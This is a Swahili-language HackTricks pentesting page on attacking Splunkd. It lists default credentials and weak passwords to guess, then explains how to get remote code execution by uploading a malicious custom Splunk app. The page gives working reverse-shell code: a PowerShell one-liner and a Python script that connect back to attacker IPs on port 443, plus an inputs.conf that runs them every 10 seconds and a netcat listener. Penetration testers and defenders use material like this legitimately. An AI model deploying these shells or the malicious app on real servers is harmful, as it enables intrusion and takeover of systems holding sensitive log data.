8089 - Pentesting Splunkd

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Splunk ni chombo cha uchambuzi wa logi ambacho kina jukumu muhimu katika kukusanya, kuchambua, na kuonyesha data. Ingawa lengo lake la awali halikuwa kutumikia kama chombo cha SIEM (Usimamizi wa Habari na Matukio ya Usalama), limepata umaarufu katika uwanja wa uangalizi wa usalama na uchambuzi wa biashara.

Maeneo ya Splunk mara nyingi hutumiwa kuhifadhi data nyeti na yanaweza kutumika kama chanzo muhimu cha habari kwa wadukuzi ikiwa watashinda mfumo. Bandari ya chaguo: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Seva ya wavuti ya Splunk inaendesha kwa chaguo-msingi kwenye bandari 8000.

Uchambuzi

Toleo Huru

Kesi ya majaribio ya Splunk Enterprise inabadilika kuwa toleo huru baada ya siku 60, ambalo halihitaji uthibitishaji. Si jambo la kawaida kwa waendeshaji wa mfumo kufunga majaribio ya Splunk kuitathmini, ambayo baadaye husahauliwa. Hii itabadilika moja kwa moja kuwa toleo huru ambalo halina aina yoyote ya uthibitishaji, ikileta pengo la usalama katika mazingira. Baadhi ya mashirika wanaweza kuchagua toleo huru kutokana na mipaka ya bajeti, bila kuelewa kabisa matokeo ya kutokuwa na usimamizi wa mtumiaji/jukumu.

Anwani za Kuingia za Chaguo-msingi

Kwenye toleo za zamani za Splunk, anwani za kuingia za chaguo-msingi ni admin:changeme, ambazo zinaonyeshwa kwa urahisi kwenye ukurasa wa kuingia. Hata hivyo, toleo jipya zaidi la Splunk huanzisha anwani za kuingia wakati wa mchakato wa usakinishaji. Ikiwa anwani za kuingia za chaguo-msingi hazifanyi kazi, ni vyema kuchunguza nywila dhaifu za kawaida kama vile admin, Karibu, Karibu1, Nenosiri123, n.k.

Kupata Taarifa

Baada ya kuingia kwenye Splunk, tunaweza kuvinjari data, kukimbia ripoti, kuunda dashibodi, kusakinisha programu kutoka maktaba ya Splunkbase, na kusakinisha programu za desturi. Unaweza pia kukimbia namna ya kificho: Splunk ina njia nyingi za kukimbia kificho, kama vile programu za Django upande wa seva, vituo vya REST, vipokezi vilivyoandikwa, na hati za tahadhari. Njia ya kawaida ya kupata utekelezaji wa kificho cha mbali kwenye seva ya Splunk ni kupitia matumizi ya kipokezi kilichoandikwa.

Zaidi ya hayo, kwa kuwa Splunk inaweza kusakinishwa kwenye mwenyeji wa Windows au Linux, vipokezi vilivyoandikwa vinaweza kuundwa ili kukimbia skripti za Bash, PowerShell, au Batch.

Shodan

  • Kujenga Splunk

Utekelezaji wa Kificho cha Mbali

Unda Programu ya Desturi

Programu ya desturi inaweza kukimbia skripti za Python, Batch, Bash, au PowerShell. Tambua kwamba Splunk inakuja na Python iliyosakinishwa, hivyo hata kwenye mifumo ya Windows utaweza kukimbia kificho cha python.

Unaweza kutumia hii pakiti ya Splunk kutusaidia. Dereva la saraka hii lina mifano kwa Python na PowerShell. Hebu tuende hatua kwa hatua.

Ili kufanikisha hili, kwanza tunahitaji kuunda programu ya Splunk ya desturi kwa kutumia muundo wa saraka ifuatayo:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin directory ita kuwa na scripts yoyote tunayokusudia kuendesha (katika kesi hii, PowerShell reverse shell), na directory ya chaguo itakuwa na faili yetu ya inputs.conf. Reverse shell yetu itakuwa PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Faili ya inputs.conf inaambia Splunk ni script gani ya kukimbia na hali zingine. Hapa tunaweka programu kama iliyoruhusiwa na kuambia Splunk kukimbia script kila sekunde 10. Kipindi kila wakati ni sekunde, na kuingiza (script) itakimbia tu ikiwa mipangilio hii iko.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Tunahitaji faili ya .bat, ambayo itaendeshwa wakati programu inapowekwa na kutekeleza amri moja ya PowerShell.

Hatua inayofuata ni kuchagua Install app from file na kupakia programu.

Kabla ya kupakia programu mbaya ya desturi, hebu anzisha msikilizaji kwa kutumia Netcat au socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Kwenye ukurasa wa Pakia programu, bonyeza kwenye kuvinjari, chagua tarball tuliyounda mapema na bonyeza Pakia. Mara tu tunapopakia programu, tunapokea shell ya nyuma na hali ya programu itabadilishwa moja kwa moja kuwa Imewezeshwa.

Linux

Ikiwa tungekuwa tunashughulika na mwenyeji wa Linux, tungehitaji kuhariri script ya Python ya rev.py kabla ya kuunda tarball na kupakia programu mbaya ya desturi. Mchakato mwingine ungebaki sawa, na tungepata uunganisho wa shell ya nyuma kwenye msikilizaji wetu wa Netcat na kuendelea na shughuli.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Kupanda Kwa Mamlaka

Katika ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inaweza kutumiwa vibaya kwa ajili ya kupanda kwa mamlaka na kupata uthabiti:

pageSplunk LPE and Persistence

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated